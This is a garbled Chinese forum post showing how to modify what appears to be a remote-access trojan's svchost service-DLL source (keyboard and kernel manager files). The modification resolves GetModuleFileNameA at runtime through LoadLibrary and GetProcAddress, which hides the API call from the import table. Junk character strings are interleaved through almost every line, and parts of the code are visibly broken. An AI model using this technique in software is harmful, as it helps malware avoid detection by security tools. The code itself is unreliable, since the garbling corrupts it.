返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
7 o5 o5 ]; H: P( q$ qsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
( b# L9 g& @, R( Q6 q$ j" k( c----------------------------------------
- H; A% i; W3 bDTDY.h:
6 r. Y! v$ F( e8 a
: k$ i3 }" A3 _( K7 [/ Z, O& Z# W#if _MSC_VER>10003 f, p7 \4 J( O9 c" U
#pragma once
$ p1 C1 x, U# e#endif //_MSC_VER>1000
/ e& C4 Y; X- T3 P5 |#include<windows.h>
! r, d1 B+ Y# R5 i! y! M3 [1 N% n) U1 j9 {
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);7 x9 q9 f7 G( ]/ L# L1 }
class DTDY( J: q% O5 a& @: T+ k
{* T. S7 t3 e% O, P
public:9 r& \7 C) O2 n5 D9 j
DTDY();
' ]' a, Y/ v3 |% P0 D: t/ Y4 Mvirtual ~DTDY();7 w( ~# w, k& r  G3 O9 |
public:$ v8 e9 a9 b0 v' ~4 \6 C
static pGetModuleFileNameA MyGetModuleFileName;
+ {* Z# x* a  e3 |* j: ]static BOOL FunInitiallization();, O4 ^! t) g# x* i% r/ z
};# t1 p* x) m$ v+ N$ Y9 B$ \
#endif/ e) G7 ?: m. [% l2 w
----------------------------------------
3 p  T3 ]+ U- F$ @8 G$ D
$ y0 E$ z; j: f% T- g" k% a- ?9 YDTDY.cpp:- t4 J! _5 @3 H: J* P9 e3 ?/ F
- v1 X: s( {8 W7 l6 _7 n
#include "DTDY.h"
. ~: g3 h! q6 spGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
! D. s% F( y7 g+ J5 o. oDTDY:TDY()" Z. I1 h8 H' I( h
{( l" J: R) @5 x9 P+ J4 ?8 }
}; g* K/ M( f; ~  b; R- L
DTDY::~DTDY()6 T- }6 F, A+ b4 E' o
{* ], L% I; M. ?3 m6 Q
}& v3 g1 o" X; A3 T9 i
BOOL DTDY::FunInitiallization()+ [5 v! Y1 h7 @) i6 B
{8 Y9 n; K& k. a9 ^: |0 `* ]4 `
HMODULE hModule=LoadLibrary("kernel32.dll");
9 k7 ]! r* h4 x. g( T5 kMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
, m1 T1 U  D7 r4 p  x+ Xif(!MyGetModuleFileName=) return FALSE;( [' P" \4 L! ^( Z
5 c+ B3 l$ }5 F" P* P; M- v4 s: ~
return TRUE;2 p& ~, k$ N8 e4 n
}$ Q% u" s8 K0 B3 g# l( D  N+ n
----------------------------------------* k0 q8 o4 h5 u1 _2 q; F% z/ j
svchost.cpp:2 b, M! R% X1 {) f, O
( i. N1 X7 b! b$ `/ h' \, J0 n, a
#include "DTDY.h"0 n" Q* m- f: U" L$ n7 w
# F: R! |3 K0 j
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)+ Y' H- r, l! U6 C. X2 P0 A# K
{
; @1 {# w+ i  N6 n# f, Uswitch(ul_reason_for_call)
7 R! ]# k1 h# E) Q4 c{* ?) y" G( r: a7 Y: l; a# i& C4 F
case DLL_PROCESS_ATTACH:
( _5 n  F( r! oif(!DTDY::FunInitiallization()) return FALSE;
( N4 r6 y8 }2 S/ h1 d) V3 J# c2 |  x% v& R! `+ D* s& _" e
break;
; A8 h7 \2 U* G5 F  `9 a}$ b; [5 C% y- q2 {
}$ Z; g( [3 O% R0 b+ q

4 \! N8 S( v' T8 P' M" R; w! z5 d, {5 }- S* Z* T( y9 p
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
. ~# D- V% O- u  z+ t7 `' j5 T改写为, k9 c$ p& O3 @7 p
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
  T+ d3 t& x6 j+ v6 a  z& H----------------------------------------# n; U# j; h" Z
KernelManager.cpp:7 M1 i0 ?3 ?3 r1 g0 |5 u3 z
4 x0 _2 H  m" c' `1 D' x2 E, F
#include "../DTDY.h"0 ~3 B6 c; T! @% x) {8 r; X
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
- D: [* [, R% k改写为/ y$ d( V9 s- V: L
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
. R' i- E+ R, y# v% y( Z- ]7 \----------------------------------------

返回列表